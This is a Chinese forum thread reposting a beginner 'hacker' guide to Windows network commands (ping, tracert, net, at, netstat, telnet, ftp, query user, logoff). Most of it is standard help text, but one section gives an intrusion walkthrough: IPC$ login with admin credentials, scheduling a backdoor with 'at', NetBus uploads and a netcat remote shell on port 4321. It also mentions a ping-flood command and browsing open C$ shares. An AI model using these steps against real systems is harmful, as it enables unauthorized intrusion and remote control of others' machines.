发新话题
打印

[转载]初级黑客安全技术命令详解

[转载]初级黑客安全技术命令详解

信息来源:http://www.cnsdit.net/ITLyceum/20050602151115.htm

要想做一名真正的黑客,仅仅依靠网络流传的黑软进行扫描或者攻击是没有用的,这样永远不可能成长为一名真正的黑客,大家需要注意的是,平时还得注意积累,这次笔者就简单的 为大家介绍一些系统命令,对于初学的菜鸟绝对是必修课之一。


  
  对了,再说两句废话吧,“工欲善其事,必先利其器”——当然不是让你再满世界去找新的黑客软件啦(其实我不反对使用这些软件,相反我很喜欢用它们,但是必须是在知其所以然的情况下使用,才有可能对自身的电脑水平有所帮助),要进行入侵工作的话,至少(我认为)得装上NT操作系统,以它作为入侵平台,因为NT本身对网络的支持可以说比WIN9X来得更强大得多……当然,如果想对UNIX系统动点小手术(网络中的UNIX可始终还是主流呀)而又没钱装UNIX的话,LINUX也极佳的选择(特别是现在国内至少有七八种中文LINUX版本——想当年要给REDHAT配上中文支持是何等麻烦……),至少你可以借此了解UNIX系统的基本操作以及文件存放位置、系统配置、编译器、各种动作之后的记录等等……

  然后还得再学点编程语言,至少C与UNIX下的SHELL编程得会一点,能看懂人家写的利用各种漏洞的程序,能对它进行修改,偶尔还能写几个小程序放到网上让大伙儿乐乐,这样玩起来才可能有成就感(其实我自己还不太行,但这多少是个目标)

  好了,废话少说,先讲讲一些M$系统里自带的相关网络程序的使用吧。

在M$的操作系统中,与网络安全较有关系的几个命令/程序是:ping\winipcfg\tracert\net\at\netstat,且待我慢慢道来:

1. ping:这是TCP/IP协议中最有用的命令之一

  它给另一个系统发送一系列的数据包,该系统本身又发回一个响应,这条实用程序对查找远程主机很有用,它返回的结果表示是否能到达主机,宿主机发送一个返回数据包需要多长时间。

Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] | [-k host-list]]
[-w timeout] destination-list

Options:
-t Ping the specifed host until interrupted.(除非人为中止,否则一直ping下去)
-a Resolve addresses to hostnames.(把IP转为主机名)
-n count Number of echo requests to send.(响应请求的数量)
-l size Send buffer size.(封包的大小)
-f Set Don't Fragment flag in packet.(信息包中无碎片)
-i TTL Time To Live.(时间)
-v TOS Type Of Service.(服务类型)
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.(较严格的……唉,怎么译好……算了,放着吧)
-w timeout Timeout in milliseconds to wait for each reply.(timeout的时间)

  比如大家可能都知道的一个命令 # ping -f -s 65000 ***.***.***.***或者前阶段大家所谓ping死霉国佬时所用的命令(当然这样只会造成我方自己的网络阻塞)。

  其实这个命令主要是用来看对方应答的速度,如果怎么ping 得到的结果都是request time out。那恐怕你根本就不用你去找这台主机了,它不在你的射程之内。

2. winipcfg:

  这是用来看自己IP位址的小工具,win98自带,NT里则网络监视器里就能看到IP了,还有个小实用程序叫……好象是叫IPCONFIG吧,没怎么用,都快忘了……这种东东网上其实相当之多,但既然“自带”,又何须外求,何况网上下载的黑客的东东里有没有特洛伊犹未可知,再说了,如果你不是在自己的“爱姬”上运行,岂不是就没法干活?——哈,不好意思,跑题了,但——接着跑两句:可以把一些常用的、经典的工具上传到网上,当作一个备份,什么时候在网吧、某家公司要干活的话,直接下载就是一个完整无缺的工具包了。


这个东东相当简单,直接在DOS下键入命令就是了,没有什么参数。

  3. tracert:是验证通往远程主机路径的实用程序

  用法: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name

  参数:

  -d Do not resolve addresses to hostnames.(不将IP转为主机名)
   -h maximum_hops Maximum number of hops to search for target.(最大跟踪数量)
   -j host-list Loose source route along host-list.
   -w timeout Wait timeout milliseconds for each reply.(time out 的时间)

  最简单的用法就是 tracert hostname 其中hostname是计算机名或你想跟踪其路径的计算机的IP地址。TRACERT将返回数据包借以到达最终目的地的各种IP地址,你知道该怎么利用它吗?

  我略为解释一下吧:跟踪通往210.142.192.130的路由,最大30:
   第一行:*&^%&* 我就是从这里出去的(呵,真不想说^&^)
   第四行:是不是快要出国了呢?
   第九行:呀!这是日本鬼子的地盘……

  4. net:这可是个非常棒的东西,如果不会用的话,赶紧睁大眼睛噢

初级黑客安全技术命令详解(2)
  这个命令的语法是: 可用的命令包括:

NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW

NET HELP SERVICES 列出用户可以启动的网络服务。
NET HELP SYNTAX 解释如何阅读 NET HELP 语法行。
NET HELP command | MORE 用于逐屏显示帮助。

a.net view

  这个命令的语法是:
   NET VIEW [\\computername | /DOMAIN[:domainname]]
   NET VIEW /NETWORK:NW [\\computername]

  NET VIEW 用于显示一个计算机上共享资源的列表。当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。

  \\computername 指用户希望浏览其共享资源的计算机。

  /DOMAIN:domainname 指定用户希望浏览有效的计算机所在的域。如果省略了域名,就会显示局域网络上的所有域。

  /NETWORK:NW 显示 NetWare 网络上所有可用的服务器。如果指定了一个计算机名,就会显示NetWare 网络中那个计算机上的可用资源。

至于举例嘛,比如你知道一个远程计算机***.***.**.***上有开资源共享,那么运行net view \\***.***.**.*** 就可以了

  b.net use

  这个命令的语法是:NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE [devicename | *] [password | *]] [/HOME]

NET USE [/PERSISTENT:{YES | NO}]

  NET USE 用于将计算机与共享的资源相连接,或者切断计算机与共享资源的连接。当不带选项使用本命令时,它会列出计算机的连接。

  devicename 指定一个名字以便与资源相连接,或者指定要切断的设备。有两种类型的设备名:磁盘驱动器 (D: 至 Z:) 和打印机 (LPT1: 至 LPT3:)。输入一个星号来代替一个指定的设备名可以分配下一个可用设备名。

  \\computername 指控制共享资源的计算机的名字。如果计算机名中包含有空字符,就要将双反斜线 (\\) 和计算机名一起用引号 (" ")括起来。计算机名可以有1 到15 个 字符。

  \sharename 指共享资源的网络名字。

  \volume 指定一个服务器上的 NetWare 卷。用户必须安装 Netware 的客户服务(Windows NT 工作站) 或者 Netware 的网关服务 (Windows NT 服务器) 并使之与NetWare 服务器相连。

password 指访问共享资源所需要的密码。

  * 进行密码提示。当在密码提示符下输入密码时,密码是不会显示的。

  /USER 指定连接时的一个不同的用户名。

  domainname 指定另外一个域。如果缺省域,就会使用当前登录的域。

  username 指定登录的用户名。

  /HOME 将用户与他们的宿主目录相连。

  /DELETE 取消一个网络连接,并且从永久连接列表中删除该连接。

  /PERSISTENT 控制对永久网络连接的使用。其缺省值是最近使用的设置。

  YES 在连接产生时保存它们,并在下次登录时恢复它们。

  NO 不保存正在产生的连接或后续的连接;现有的连接将在下次登录时被恢复。可以使用 /DELETE 选项开关来删除永久连接。

 PS:前两天在绿色兵团的贴子里见到一位仁兄的话,与这个命令有异曲共工之妙,也说明一个大概:

  在浏览器中输入 file:///\\***.***.**.***\c$

  则网上共享的C盘内容就会显示出来了,就仿佛用浏览器上FTP站点看到的一样。各位不妨试试,还可试试举一反三……

  5.at: 排定在特定的日期和时间运行某些命令和程序。

  运行 AT 命令之前必须先启动 Schedule 服务。瞧,现炒就得现卖,刚学了net命令,但这个start命令我可没详述,自已看看帮助文件,摸索一下各种命令的用法吧。

  C:\>net start schedule
   Schedule 正在启动服务.....
   Schedulw 服务启动成功。

  AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]]
   AT [\\computername] time [/INTERACTIVE]
   [ /EVERY:date[,...] | /NEXT:date[,...]] "command"

  \\computername 指定远程计算机。如果省略这个参数命令会被排定在本机上运行。

  id 指定给排定进度命令的识别号。

  /delete 删除某个已排定进度的命令。如果省略标识,计算机上所有已排定进度的命令都会被删除。

/yes 用于删除所有作业,且不想在运行删除时显示确认信息 。

  time 指定命令运行的时间。
   interactive 允许作业在运行时,与用户通过桌面交互。

  /every:date[,...] 指定在每周或每月的某日 (或某几日) 运行命令。
   如果省略日期,则默认为在每月的本日运行。

  /next:date[,...] 指定在下一个指定日期 (如,下周三),运行命令。
   如果省略日期,则默认为在每月的本日运行。

  "command" 准备运行的 Windows NT 命令或批处理文件。

  知道了如何使用AT,再来看看如何在远程NT上运行ntsrv.exe:

  1 利用管理员登陆到目的服务器,方法为: net use \\x.x.x.x\ipc$ "adminpwd" /user:"adminuser"
   2 利用ntsrv.exe启动远程: netsvc \\x.x.x.x schedule /start
   3 利用AT.EXE在远程服务器设置程序定时运行,当然最快运行最理想,所以,你可以用letmein.exe得到服务器的时间,然后:

  at \\x.x.x.x 00:00 ntsrv.exe /port:64321

  其中00:00要改为用letmein.exe得回来的具体时间+一点容量,等一会后,再在本地启动netbus.exe,键入目的服务器得ip地址或hostname,连接!比如第一种方法,你想要在目的服务器运行诸如病毒之类的东东,可以利用netbus得上传功能,将各种“大补丸”上传至目的服务器,再用netbus的"Start program",键入完整路径,就ok了!第二种方法是利用netbus的“App redirect”功能,启动远程telnet服务,如下:在netbus中击“App redirect”,键入"C:\>winnt\system32\cmd.exe",Port为:4321,服务就启动了,然后在本地运行:nc x.x.x.x 4321,出现dos启动的画面就表示连接成功:

Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\>
4.netstat 这是一个观察网络连接状态的实用工具。

  它能检验IP的当前连接状态,在断定你的基本级通信正在进行后,就要验证系统上的服务。这个服务包括检查正在收听输入的通信量和/或验证你正在创建一个与远程站点的会话,它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的工具,是WIN界面的,更加直观而已,并没有多什么功能,这个命令的具体用法如下:

Displays protocol statistics and current TCP/IP network connections.(显示协议与当前网络连接)

NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]

-a Displays all connections and listening ports.(显示所有连接和监听端口)
-e Displays Ethernet statistics. This may be combined with the -s
option.(显示以太连接,可以与-s连用)
-n Displays addresses and port numbers in numerical form.(显示地址和端口)
-p proto Shows connections for the protocol specified by proto; proto
may be TCP or UDP. If used with the -s option to display
per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the -p option may be used to specify
a subset of the default.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information once.(interval是设定一个刷新时间,在间隔时间内暂停,按CTRL+C停止……)

  这是我在本机未连接网络时运行的,第一列为协议,第二列为本地地址,第三列是与你进行连接的主机或用户的IP位址(IP后冒号之后的数字是端口号),最后一列是状态。这个命令以-n和-a的参数我较常使用,读者可以参考使用。
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

补充:还有:telnet和ftp
1.telnet
Telnet 命令Telnet 客户命令提示符接受以下命令:

命令 说明
open 使用 open hostname portnumber 可以建立到主机的 Telnet 连接。
close 使用命令 close 可以关闭现有的 Telnet 连接。
display 使用命令 display 可以查看 Telnet 客户的当前设置。
命令 display 可以列出当前的操作参数。如果正在进行一个 Telnet 会话(即连接到 Telnet 服务器),则按 CTRL+} 可以修改参数。这将退出 Telnet 会话。(要返回 Telnet 会话,请按 ENTER。)可用的操作参数如下:

WILL AUTH (NTLM Authentication)
WONT AUTH
WILL TERM TYPE
WONT TERM TYPE
LOCALECHO off
LOCALECHO on

quit 使用命令 quit 可以退出Telnet。
set 使用命令 set 可以设置连接的终端类型,打开本地回显,设置 NTLM 身份验证、转义字符和登录。

SET NTLM 可以打开 NTLM。
使用 NTLM 身份验证时,系统会提示您提供从远程计算机连接所需的登录名和密码。

SET LOCALECHO 可以打开本地回显。
SET TERM {ANSI|VT100|VT52|VTNT} 可以设置合适的终端类型。
如果正在运行正常的命令行应用程序,请使用终端类型 VT100。如果正在运行象 edit 这样的高级命令行应用程序,请使用终端类型 VTNT。

ESCAPE Character 可以设置从会话切换到命令模式所使用的按键顺序。例如,要将 CTRL+P 设为转义字符,请键入 set escape,按 CTRL+P,然后按 ENTER。
LOGFILE FileName 可以设置用于记录 Telnet 活动的文件。日志文件必须位于本地计算机上。
设置此选项时,自动开始记录。

LOGGING 用于打开日志。
如果没有设置日志文件,将会出现错误信息。

unset 使用 unset 可以关闭本地回显或设置登录名/密码提示验证。

UNSET NLM 可以关闭 NLM。
UNSET LOCALECHO 可以关闭本地回显。


status 使用 status 命令可以确定 Telnet 客户是否已成功连接。
CTRL+} 按 CTRL+} 可以从已连接的会话转向 Telnet 命令提示符。
enter 使用 enter 命令可以从命令提示符转向已连接的会话(如果存在)。
?/help  打印帮助信息。


2.ftp

Ftp将文件传输到运行文件传输协议 (FTP) 服务器服务(如 Internet 信息服务)的计算机,或从这台计算机传输文件。可以通过处理 ASCII 文本文件交互式地或以批处理模式使用 Ftp。

语法
ftp [-v] [-d] [-i] [-n] [-g] [-s:FileName] [-a] [-w:WindowSize] [-A] [Host]

参数
-v
禁止显示 FTP 服务器响应。
/d
启用调试、显示在 FTP 客户端和 FTP 服务器之间传递的所有命令。
-i
传送多个文件时禁用交互提示。
-n
在建立初始连接后禁止自动登录功能。
-g
禁用文件名组合。Glob 允许使用星号 (*) 和问号 (?) 作为本地文件和路径名的通配符字符。详细信息,请参阅 Ftp:Glob。
-s:filename
指定包含 ftp 命令的文本文件。这些命令在启动 ftp 后自动运行。该参数不允许带有空格。使用该参数而不是重定向 (<)。
-a
指定绑定 FTP 数据连接时可以使用任何本地接口。
-w:windowsize
指定传输缓冲的大小。默认窗口大小为 4096 字节。
-A
匿名登录到 FTP 服务器。
Host
指定要连接的计算机名、IP 地址或 FTP 服务器的 IPv6 地址。如果指定了主机名或地址,则其必须是命令行的最后一个参数。
/?
在命令提示符下显示帮助。
注释
ftp 参数的前缀必须使用连接号 (-) 而不是斜线 (/)。
Ftp 命令行参数是区分大小写的。
只有网际协议 (TCP/IP) 已经作为网络适配器属性(在 网络连接)中的组件安装之后,才可使用该命令。
Ftp 可以交互使用。启动 ftp 后,ftp 将创建一个可以在其中使用 ftp 命令的子环境。可以通过键入 quit 命令返回到命令提示符下。当运行 ftp 子环境时,它将由 ftp > 命令提示符表示。
有关 ftp 子命令的详细信息,请参阅“相关主题”。
安装 IPv6 协议后,Ftp 支持使用 IPv6。详细信息,请参阅 IP 版本 6 和 IPv6 应用程序。
范例
要登录到名为 ftp.example.microsoft.com 的 FTP 服务器,请键入下面的命令:

ftp ftp.example.microsoft.com

要匿名登录到名为 ftp.example.microsoft.com 的 FTP 服务器,请键入如下命令:

ftp -A ftp.example.microsoft.com

要登录到名为 ftp.example.microsoft.com 的 FTP 服务器并运行名为 Rsynch.txe 文件中的 ftp 命令,请键入如下命令:

ftp -s:resynch.txt ftp.example.microsoft.com

还有ftp的子命令(具体的不再介绍)

Ftp: !
Ftp: ?
Ftp:append
Ftp:ascii
Ftp:bell
Ftp:Binary
Ftp:Bye
Ftp:cd
Ftp:close
Ftp:debug
Ftp:delete
Ftp:dir
Ftp:disconnect
Ftp:get
Ftp:glob
Ftp:hash
Ftp:help
Ftp:lcd
Ftp:literal
Ftp:ls
Ftp:mdelete
Ftp:mdir
Ftp:mget
Ftp:mkdir
Ftp:mls
Ftp:mput
Ftp:open
Ftp:prompt
Ftp:put
Ftp:pwd
Ftp:quit
Ftp:quote
Ftp:recv
Ftp:remotehelp
Ftp:rename
Ftp:rmdir
Ftp:send
Ftp:status
Ftp:trace
Ftp:type
Ftp:user
Ftp:verbose

TOP

再加个查看3389登陆用户的命令和踢出某个账号的登陆


1.Query user
显示有关终端服务器上的用户会话的信息。

语法
query user [{UserName | SessionName | SessionID}] [/server:ServerName]

参数
UserName

指定待查询用户的登录名。

SessionName

指定待查询会话的名称。

SessionID

指定待查询会话的 ID。

/server: ServerName

指定要查询的终端服务器。否则使用当前终端服务器。

/?

在命令提示符下显示帮助。

注释
• 如果特定用户登录到特定的终端服务器,则可以使用该命令查找。Query user 返回以下信息:

• 用户名

• 终端服务器上的会话名

• 会话 ID

• 会话的状态(活动或断开连接)

• 空闲时间(在该会话中自上次击键或鼠标移动以来经过的分钟数)

• 用户登录的日期和时间


• 要使用 query user,您必须有完全控制权限或查询信息的特殊访问权限。

• 如果您不指定用户名、会话名称或会话标识而直接使用 query user 命令,则会返回一个登录到该服务器的所有用户的列表。另外,也可以使用 query session 显示服务器上所有会话的列表。

• 当 query user 返回信息时,在当前会话前将显示小于号 (>)。

• 只有在从远程服务器使用 query user 时才需要 /server 参数。


示例
要显示有关登录到系统的所有用户的信息,请键入:

query user

要显示有关服务器 SERVER1 上用户 USER1 的信息,请键入:

query user USER1 /server:SERVER1

2.
Logoff

注销
从会话中注销用户并从服务器上删除会话。

语法
logoff[{SessionID | SessionName}] [/server:ServerName] [/v]

参数
SessionID

指定标识服务器会话的数字标识。

SessionName

指定会话的名称。

/server:ServerName

指定含有要注销的用户会话的终端服务器。如果未指定,则使用您目前工作的服务器。

/v

显示有关要执行的操作的信息。

/?

在命令提示符下显示帮助。

注释
• 可以始终从当前登录到的会话中注销。但是,您必须有完全控制权限才能从其他会话注销用户。

• 没有警告地从会话中注销用户可能导致用户会话中的数据丢失。采取此项操作之前,应该使用 msg 命令向用户发送消息以示警告。

• 如果没有指定该会话的 ID 或名称,则使用 logoff 从当前会话注销用户。如果指定会话的名称,则它必须是当前有效的名称。

• 当注销用户时,所有的进程都将结束并且会话将从服务器中删除。

• 不能从控制台会话中注销用户。


示例
要从当前会话中注销用户,请键入:

logoff

要使用会话 ID(例如,会话 12)从会话中注销用户,请键入:

logoff 12

要使用会话和服务器的名称(例如,服务器 WF12 上的会话 TERM04)从会话中注销用户,请键入:

logoff TERM04 /server:WF12
        与其诅咒黑暗,不如点亮蜡烛!!!

TOP

引用:
下面是引用ldj2285于07-18-2005 00:42发表的:
再加个查看3389登陆用户的命令和踢出某个账号的登陆

TOP

发新话题